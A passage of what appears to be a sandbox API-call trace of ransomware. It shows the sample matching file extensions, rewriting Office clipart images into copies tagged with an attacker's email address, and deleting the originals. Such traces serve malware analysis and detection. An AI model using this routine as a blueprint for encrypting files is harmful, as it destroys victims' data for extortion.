Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG") returned 68 [0178.039] lstrlenW (lpString=".dbf") returned 4 [0178.039] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0178.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG") returned 68 [0178.039] lstrlenW (lpString=".1cd") returned 4 [0178.039] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0178.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG") returned 68 [0178.040] lstrlenW (lpString=".jpg") returned 4 [0178.040] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0178.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG") returned 68 [0178.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG") returned 68 [0178.040] lstrlenW (lpString=".doc") returned 4 [0178.040] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0178.040] lstrlenW (lpString=".docx") returned 5 [0178.040] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0178.040] lstrlenW (lpString=".pdf") returned 4 [0178.040] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0178.040] lstrlenW (lpString=".xls") returned 4 [0178.040] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0178.040] lstrlenW (lpString=".xlsx") returned 5 [0178.040] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0178.040] lstrlenW (lpString=".ppt") returned 4 [0178.040] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0178.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG") returned 68 [0178.040] lstrlenW (lpString=".zip") returned 4 [0178.040] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0178.040] lstrlenW (lpString=".rar") returned 4 [0178.040] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0178.041] lstrlenW (lpString=".bz2") returned 4 [0178.041] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0178.041] lstrlenW (lpString=".7z") returned 3 [0178.041] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0178.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG") returned 68 [0178.041] lstrlenW (lpString=".dbf") returned 4 [0178.041] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0178.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG") returned 68 [0178.041] lstrlenW (lpString=".1cd") returned 4 [0178.041] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0178.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG") returned 68 [0178.041] lstrlenW (lpString=".jpg") returned 4 [0178.041] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0178.041] lstrcmpiW (lpString1=".JPG", lpString2=".save") returned -1 [0178.041] lstrlenW (lpString="J0145879.JPG") returned 12 [0178.041] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145879.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0178.044] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=35419) returned 1 [0178.044] CloseHandle (hObject=0x344) returned 1 [0178.044] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145879.jpg")) returned 0x220 [0178.044] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145879.jpg.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0178.045] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145879.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0178.045] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.045] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.045] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145879.jpg.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0178.046] GetLastError () returned 0x0 [0178.047] ReadFile (in: hFile=0x344, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x8a5b, lpOverlapped=0x0) returned 1 [0178.050] WriteFile (in: hFile=0x518, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0x8a60, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0x8a60, lpOverlapped=0x0) returned 1 [0178.053] ReadFile (in: hFile=0x344, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1 [0178.053] WriteFile (in: hFile=0x518, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1 [0178.053] SetEndOfFile (hFile=0x518) returned 1 [0178.053] CloseHandle (hObject=0x518) returned 1 [0178.053] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.053] SetEndOfFile (hFile=0x344) returned 1 [0178.098] CloseHandle (hObject=0x344) returned 1 [0178.098] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0178.099] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145879.jpg")) returned 1 [0178.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG") returned 68 [0178.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG") returned 68 [0178.100] lstrlenW (lpString=".doc") returned 4 [0178.100] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0178.100] lstrlenW (lpString=".docx") returned 5 [0178.100] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0178.100] lstrlenW (lpString=".pdf") returned 4 [0178.100] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0178.100] lstrlenW (lpString=".xls") returned 4 [0178.100] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0178.101] lstrlenW (lpString=".xlsx") returned 5 [0178.101] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0178.101] lstrlenW (lpString=".ppt") returned 4 [0178.101] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0178.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG") returned 68 [0178.101] lstrlenW (lpString=".zip") returned 4 [0178.101] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0178.101] lstrlenW (lpString=".rar") returned 4 [0178.101] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0178.101] lstrlenW (lpString=".bz2") returned 4 [0178.101] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0178.101] lstrlenW (lpString=".7z") returned 3 [0178.101] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0178.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG") returned 68 [0178.101] lstrlenW (lpString=".dbf") returned 4 [0178.101] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0178.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG") returned 68 [0178.101] lstrlenW (lpString=".1cd") returned 4 [0178.101] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0178.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG") returned 68 [0178.101] lstrlenW (lpString=".jpg") returned 4 [0178.101] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0178.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG") returned 68 [0178.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG") returned 68 [0178.102] lstrlenW (lpString=".doc") returned 4 [0178.102] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0178.102] lstrlenW (lpString=".docx") returned 5 [0178.102] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0178.102] lstrlenW (lpString=".pdf") returned 4 [0178.102] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0178.102] lstrlenW (lpString=".xls") returned 4 [0178.102] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0178.102] lstrlenW (lpString=".xlsx") returned 5 [0178.102] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0178.102] lstrlenW (lpString=".ppt") returned 4 [0178.102] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0178.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG") returned 68 [0178.102] lstrlenW (lpString=".zip") returned 4 [0178.102] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0178.102] lstrlenW (lpString=".rar") returned 4 [0178.102] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0178.102] lstrlenW (lpString=".bz2") returned 4 [0178.102] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0178.102] lstrlenW (lpString=".7z") returned 3 [0178.103] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0178.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG") returned 68 [0178.103] lstrlenW (lpString=".dbf") returned 4 [0178.103] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0178.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG") returned 68 [0178.103] lstrlenW (lpString=".1cd") returned 4 [0178.103] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0178.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG") returned 68 [0178.103] lstrlenW (lpString=".jpg") returned 4 [0178.103] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0178.103] lstrcmpiW (lpString1=".JPG", lpString2=".save") returned -1 [0178.103] lstrlenW (lpString="J0146142.JPG") returned 12 [0178.103] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0146142.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0178.106] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=46508) returned 1 [0178.106] CloseHandle (hObject=0x344) returned 1 [0178.106] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0146142.jpg")) returned 0x220 [0178.106] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0146142.jpg.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0178.107] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0146142.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0178.107] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.107] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.107] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0146142.jpg.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0178.109] GetLastError () returned 0x0 [0178.109] ReadFile (in: hFile=0x344, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0xb5ac, lpOverlapped=0x0) returned 1 [0178.113] WriteFile (in: hFile=0x534, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0xb5b0, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0xb5b0, lpOverlapped=0x0) returned 1 [0178.116] ReadFile (in: hFile=0x344, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1 [0178.116] WriteFile (in: hFile=0x534, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1 [0178.116] SetEndOfFile (hFile=0x534) returned 1 [0178.117] CloseHandle (hObject=0x534) returned 1 [0178.117] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.117] SetEndOfFile (hFile=0x344) returned 1 [0178.122] CloseHandle (hObject=0x344) returned 1 [0178.122] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0178.123] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0146142.jpg")) returned 1 [0178.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG") returned 68 [0178.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG") returned 68 [0178.125] lstrlenW (lpString=".doc") returned 4 [0178.125] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0178.125] lstrlenW (lpString=".docx") returned 5 [0178.125] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0178.125] lstrlenW (lpString=".pdf") returned 4 [0178.125] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0178.125] lstrlenW (lpString=".xls") returned 4 [0178.125] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0178.125] lstrlenW (lpString=".xlsx") returned 5 [0178.125] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0178.125] lstrlenW (lpString=".ppt") returned 4 [0178.125] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0178.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG") returned 68 [0178.125] lstrlenW (lpString=".zip") returned 4 [0178.125] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0178.125] lstrlenW (lpString=".rar") returned 4 [0178.125] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0178.125] lstrlenW (lpString=".bz2") returned 4 [0178.125] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0178.125] lstrlenW (lpString=".7z") returned 3 [0178.126] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0178.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG") returned 68 [0178.126] lstrlenW (lpString=".dbf") returned 4 [0178.126] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0178.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG") returned 68 [0178.126] lstrlenW (lpString=".1cd") returned 4 [0178.126] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0178.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG") returned 68 [0178.126] lstrlenW (lpString=".jpg") returned 4 [0178.126] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0178.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG") returned 68 [0178.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG") returned 68 [0178.127] lstrlenW (lpString=".doc") returned 4 [0178.127] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0178.127] lstrlenW (lpString=".docx") returned 5 [0178.127] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0178.127] lstrlenW (lpString=".pdf") returned 4 [0178.127] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0178.127] lstrlenW (lpString=".xls") returned 4 [0178.127] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0178.127] lstrlenW (lpString=".xlsx") returned 5 [0178.127] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0178.127] lstrlenW (lpString=".ppt") returned 4 [0178.127] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0178.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG") returned 68 [0178.127] lstrlenW (lpString=".zip") returned 4 [0178.127] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0178.127] lstrlenW (lpString=".rar") returned 4 [0178.127] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0178.127] lstrlenW (lpString=".bz2") returned 4 [0178.127] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0178.127] lstrlenW (lpString=".7z") returned 3 [0178.127] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0178.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG") returned 68 [0178.128] lstrlenW (lpString=".dbf") returned 4 [0178.128] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0178.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG") returned 68 [0178.128] lstrlenW (lpString=".1cd") returned 4 [0178.128] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0178.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG") returned 68 [0178.128] lstrlenW (lpString=".jpg") returned 4 [0178.128] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0178.128] lstrcmpiW (lpString1=".JPG", lpString2=".save") returned -1 [0178.128] lstrlenW (lpString="J0148309.JPG") returned 12 [0178.128] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148309.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0178.130] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=43674) returned 1 [0178.130] CloseHandle (hObject=0x344) returned 1 [0178.130] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148309.jpg")) returned 0x220 [0178.131] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148309.jpg.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0178.131] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148309.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0178.131] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.131] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.132] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148309.jpg.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0178.132] GetLastError () returned 0x0 [0178.132] ReadFile (in: hFile=0x344, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0xaa9a, lpOverlapped=0x0) returned 1 [0178.531] WriteFile (in: hFile=0x534, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0xaaa0, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0xaaa0, lpOverlapped=0x0) returned 1 [0178.534] ReadFile (in: hFile=0x344, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1 [0178.534] WriteFile (in: hFile=0x534, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1 [0178.534] SetEndOfFile (hFile=0x534) returned 1 [0178.535] CloseHandle (hObject=0x534) returned 1 [0178.535] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.535] SetEndOfFile (hFile=0x344) returned 1 [0178.541] CloseHandle (hObject=0x344) returned 1 [0178.542] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0178.542] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148309.jpg")) returned 1 [0178.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG") returned 68 [0178.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG") returned 68 [0178.544] lstrlenW (lpString=".doc") returned 4 [0178.544] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0178.544] lstrlenW (lpString=".docx") returned 5 [0178.544] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0178.544] lstrlenW (lpString=".pdf") returned 4 [0178.544] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0178.544] lstrlenW (lpString=".xls") returned 4 [0178.544] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0178.544] lstrlenW (lpString=".xlsx") returned 5 [0178.544] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0178.544] lstrlenW (lpString=".ppt") returned 4 [0178.544] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0178.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG") returned 68 [0178.544] lstrlenW (lpString=".zip") returned 4 [0178.544] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0178.544] lstrlenW (lpString=".rar") returned 4 [0178.545] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0178.545] lstrlenW (lpString=".bz2") returned 4 [0178.545] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0178.545] lstrlenW (lpString=".7z") returned 3 [0178.545] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0178.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG") returned 68 [0178.545] lstrlenW (lpString=".dbf") returned 4 [0178.545] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0178.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG") returned 68 [0178.545] lstrlenW (lpString=".1cd") returned 4 [0178.545] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0178.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG") returned 68 [0178.545] lstrlenW (lpString=".jpg") returned 4 [0178.545] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0178.545] lstrlenW 